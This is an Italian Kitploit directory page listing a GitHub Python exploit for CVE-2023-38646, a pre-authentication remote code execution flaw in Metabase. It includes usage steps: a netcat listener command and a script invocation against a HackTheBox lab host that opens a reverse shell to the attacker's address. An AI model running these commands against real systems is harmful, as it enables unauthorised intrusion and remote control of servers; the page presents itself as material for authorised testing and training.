Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2023-38646 — Exploit Python per CVE-2023-38646, una vulnerabilità di esecuzione remota di codice senza autenticazione in Metabase, che fornisce una reverse shell per test di sicurezza autorizzati. | Kitploit
Strumenti/GitHubGitHub/asepsaepdin/cve-2023-38646
ExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneStrumento di Accesso Remoto
GitHubasepsaepdin/cve-2023-38646

CVE-2023-38646

Exploit Python per CVE-2023-38646, una vulnerabilità di esecuzione remota di codice senza autenticazione in Metabase, che fornisce una reverse shell per test di sicurezza autorizzati.

Vedi Repository
2 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2023-38646 - Metabase Pre-Auth RCE

⚠️ Solo per scopi educativi e di ricerca sulla sicurezza autorizzata

Autori Originali dell'Exploit

Molto grato all'autore originale del PoC securezeron

Guida ai Passaggi

  1. Configura il Listener sulla tua macchina attaccante:

    root@kitploit:~
    nc -nlvp 4444

  2. Quindi, esegui questo comando:

    root@kitploit:~
    python3 CVE-2023-38646-Reverse-Shell.py -h
python3 CVE-2023-38646-Reverse-Shell.py --rhost http://data.analytical.htb/ --lhost 10.10.16.8 --lport 4444

    image

Crediti

  • https://nvd.nist.gov/vuln/detail/CVE-2023-38646
  • https://medium.com/@starlox.riju123/hackthebox-analytics-metabase-rce-bd3421cba76d
  • https://www.youtube.com/watch?v=br7JZzcTDG0
Scarica lo strumento